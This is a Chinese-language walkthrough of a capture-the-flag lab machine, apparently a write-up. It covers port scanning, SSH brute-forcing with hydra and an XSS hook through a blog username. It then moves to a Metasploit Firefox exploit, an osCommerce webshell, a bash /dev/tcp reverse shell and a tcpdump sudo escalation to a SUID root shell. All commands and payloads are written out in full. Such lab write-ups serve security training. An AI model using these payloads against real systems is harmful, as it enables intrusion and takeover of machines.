赞
踩
已知靶机IP为192.168.110.151,先进行全端口扫描
sudo nmap -sS -p- --min-rate 1000 -T4 -oN nmap.txt 192.168.110.151
得到111和39055两个开放端口
对开放端口进行探测
sudo nmap -sC -sV -O -p111,39055,65535 -oN nmap.txt --append-out 192.168.110.151
针对111端口进行探测
sudo nmap -sSUC -p111 -oN nmap.txt --append-out 192.168.110.151
ssh root@192.168.110.151 -p65535
成功,登录界面如下
根据ssh登录界面给出的信息,可以推测出用户有root和peter,更新user.list
同时,推测密码可能是in the source或者inthesource,也有可能是blog或者vacation,更新pass.list
然后,我们使用hydra进行爆破
hydra -L user.list -P pass.list ssh://192.168.110.151:65535
成功,得到了peter用户的密码
我们尝试使用爆破得到的用户名密码进行ssh登录
ssh peter@192.168.110.151 -p65535
但是登录失败,可能是加载了其他的程序,阻碍了登录
我们可以使用 ‘-vvv’ 参数,将ssh链接过程中的详细信息打印出来(已保存至ssh.log文件)
ssh peter@192.168.110.151 -p65535 -vvv
UDP全端口扫描
sudo nmap -sU -p- --min-rate 1000 -oN nmap.txt --append-out 192.168.110.151
针对结果中的UDP端口进行扫描
sudo nmap -sUCV -p 111,45513 -oN nmap.txt --append-out 192.168.110.151
再次进行TCP端口扫描
sudo nmap -sS -p- --min-rate 1000 -T4 192.168.110.151
出现了一个之前没有80端口,推测可能是经过SSH登录之后,后台加载的其他程序使得80端口开启
访问:http://192.168.110.151/,内容如下
BEEF提示我们或许可以使用 beef-xss 这个xss工具破解此题
They really shouldn't have taken my stapler away... 这句话值得注意,可能在后面会用到
查看页面源代码,没有有用的信息
对网站使用dirb工具进行扫描
dirb http://192.168.110.151/
发现一个 blog 目录和一个 images 目录
访问:http://192.168.110.151/blog/,内容如下,是一个博客页面
访问:http://192.168.110.151/images/,没有权限
可以在blog页面发现一个用户注册入口
为测试能否实现XSS,按照如下信息注册一个用户
- Username: <script>alert(1)</script>
- Password: 123
- E-Mail: 123
注册成功,然后点击 Member(http://192.168.110.151/blog/members.html),查看已注册的用户
发现成功弹窗,说明可以尝试进行XSS注入
根据此前的提示,我们尝试使用beef-xss工具(密码igfix),我们将红框中的数据作为用户名在blog中注册一个用户,把127.0.0.1替换为Kali的地址
用户注册信息如下,注册前需要清理浏览器缓存,以重新进入注册页面
- Username: <script src="http://192.168.110.128:3000/hook.js"></script>
- Password: 123
- E-Mail: 123
然后,在浏览器中访问:http://192.168.110.128:3000/ui/panel,登录之后可以看到Kali和靶机都已上线
可以看到靶机的浏览器版本为Firefox 15,版本很低(Kali的是Firefox 115),尝试利用相关漏洞
使用exploit-db查找相关漏洞
searchsploit firefox 15
发现与msf相关的利用,比如第一个(可利用程度较高,而且是利用msf)
那么,直接使用msf
- msfconsole
- # 进入msf
- msf6 > search firefox 15
- msf6 > use 12
选择与上述对应的利用,此处是12
使用options命令查看选项完成配置,此处需要先设置URIPATH
- msf6 exploit(multi/browser/firefox_proto_crmfrequest) > options
- msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set uripath igfix
同时,完成Payload options中的LHOST设置,以利用默认payload
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.110.128
然后开始运行
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > run
可以看到服务已经启动,而且给出一个URL
我们将红框中的URL在靶机浏览器中设置重定向访问,具体操作如下
点击执行,稍等后可以在msf中看到会话已经建立
使用如下命令,查看并进入会话
- msf6 exploit(multi/browser/firefox_proto_crmfrequest) > sessions
- msf6 exploit(multi/browser/firefox_proto_crmfrequest) > sessions -i 1
尝试执行命令,发现已经成功拿到shell
显然,通过 firefox_proto_crmfrequest 获得的shell非常不稳定,因此我们需要借助msf中的其他工具来获得一个稳定的shell
首先,查找 post shell to meterpreter
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > search post shell to meterpreter
我们选择利用第5个,并查看需要完成的配置
- msf6 exploit(multi/browser/firefox_proto_crmfrequest) > use 5
- msf6 post(multi/manage/shell_to_meterpreter) > options
我们先将LHOST设置为Kali的IP地址
- msf6 post(multi/manage/shell_to_meterpreter) > set lhost 192.168.110.128
- msf6 post(multi/manage/shell_to_meterpreter) > run
然后,我们再次在靶机浏览器中设置重定向访问URL:http://192.168.110.128:8080/igfix,以建立session
需要根据新建立的 session Id 来设置 shell_to_meterpreter 的 options 中 SESSION 的值,不断查看session是否建立,一旦建立session马上输入run命令运行shell_to_meterpreter
开始运行shell_to_meterpreter后,继续使用sessions命令查看,直至看到类型为meterpreter的session建立
然后执行如下命令获取shell
- msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 5
- # 执行shell命令以获取靶机用户的shell环境
- meterpreter > shell
- # 此时可以看到当前用户
- whoami
至此,我们成功得到了一个持久的shell
基础提权
- which python
- python -c 'import pty;pty.spawn("/bin/bash")'
- export TERM=xterm
查看具有/bin/bash和home目录的用户,查看当前用户可以以sudo运行的程序
- cat /etc/passwd | grep /bin/bash
- cat /etc/passwd | grep 'home\|sh'
- sudo -l
将新发现的两个用户更新至user.list
综合之前的思路,既然peter用户的密码是知道的但无法正常进行ssh登录,我们尝试查找与ssh相关的配置
- ls .ssh -al
- ls /etc | grep ssh
- ls /etc/ssh -al
sshd_config是客户端的ssh配置文件,查看内容,在配置文件末尾发现,ssh连接过程会强制执行名为startme的程序,推测其与ssh无法成功连接有关
查看 startme 程序内容如下,其内容是启动了apache2,这可以解释为什么进行ssh登录操作后 nmap 才能扫描到80端口
尝试覆盖 .bashrc 文件,这样就可以在ssh连接后保持shell
echo 'exec /bin/bash' > .bashrc
再次于Kali中尝试使用peter用户进行ssh登录
输入密码后,尝试输入命令,然后按下CTRL+C,可以进入shell
find / -perm -u=s -type f 2>/dev/null
没有什么可以利用的点
可以发现除了/var/www/html路径外,还有一个html2目录
查看其中内容,发现有一个 oscommerce 目录
这个目录应该对应一个新的web站点,我们先查看靶机TCP网络信息
发现一个2323端口,我们可以依次尝试用curl、nc、telnet进行连接,经尝试发现,telnet会显示连接过程中的全部信息
- curl http://127.0.0.1:2323
- nc 127.0.0.1 2323
- telnet 127.0.0.1 2323
这里给出了一个经纬度,我们去Google查询一波
可以发现这个地点位于 Houston,那么我们可以尝试将 Houston 作为密码输入
至于用户名,从之前获取的信息来看,应该是 milton 或者 blumbergh 其中之一,经尝试用户名为 milton
随后我们需要回答一个问题:这个订书机是谁的?
如果存在验证,那么必要存在与之相关的验证程序,我们尝试在/bin和/usr目录下搜索关键词 stapler
- cd /bin
- grep -rno stapler
- cd /usr
- grep -rno stapler
结果如下,可以注意到在/usr/local/bin目录下有一个名为cd.py的python脚本很显眼
查看其内容,很明显问题"Whose stapler is it?"的正确答案为"mine"
那么再次使用telnet连接2323端口,成功实现milton用户提权
查看milton用户可以执行的sudo命令,出现了一句提示说milton用户不能运行sudo
逐个查看/home/milton目录下的文件,在.profile末尾发现如下信息
这实际上说明milton用户完全是可以以sudo运行nginx命令的,那么我们把最后四行注释掉
之后便可正常执行sudo -l命令,不过nginx命令和apache一样,不能用于sudo提权
再次查看网络连接信息,此时出现了8888端口
尝试访问,点击oscommerce
进入到一个CMS页面,也就是html2中的web站点
使用dirb工具对站点进行扫描
dirb http://192.168.110.151:8888/oscommerce/
结果如下,发现一个类似于管理员登陆后台的页面
访问:http://192.168.110.151:8888/oscommerce/admin,是该CMS的管理员登陆后台
由于之前在配置文件中发现,mysql数据库的root用户并没有设置密码,所以我们可以直接登录数据库后台并查看有哪些数据库
推测 oscommerce 库中的 osc_administrators 表中可能存在管理员信息
查表,得到管理员账号及其密码哈希值
对使用32作为盐值加盐之后的哈希值685cef95aa31989f2edae5e055ffd2c9进行解密,得到密码为admin
使用 admin:admin 登录CMS后台,成功进入
可知上传路径为
/var/www/html2/oscommerce/includes/work/0.php
成功实现任意命令执行
在Kali中开启2233端口监听
nc -lvvnp 2233
然后访问如下URL,反弹shell至Kali
http://192.168.110.151:8888/oscommerce/includes/work/0.php?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.110.128/2233 0>%261'
成功
基础提权
- which python
- python -c 'import pty;pty.spawn("/bin/bash")'
- export TERM=xterm
查看用户能执行哪些sudo命令
sudo -l
经查询,该命令可以用来提权
切换到 tmp 目录,构造1.sh 脚本文件以实现提权(将 /bin/bash 复制至 /tmp/shell,并添加SUID)
然后执行GTOFbins中给出的 sudo 命令,实现脚本利用
- cd /tmp
- echo '#!/bin/bash' >> 1.sh
- echo 'cp /bin/bash /tmp/shell' >> 1.sh
- echo 'chmod +s /tmp/shell' >> 1.sh
- chmod +x 1.sh
- sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root
tcpdump 相关命令中包含lo参数,因此需要在 milton 用户终端中构造本地流量
telnet 127.0.0.1 2323
最后,在 blumbergh 用户终端中提权
- # 等同于 /bin/bash -p
- ./shell -p
获取root权限
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。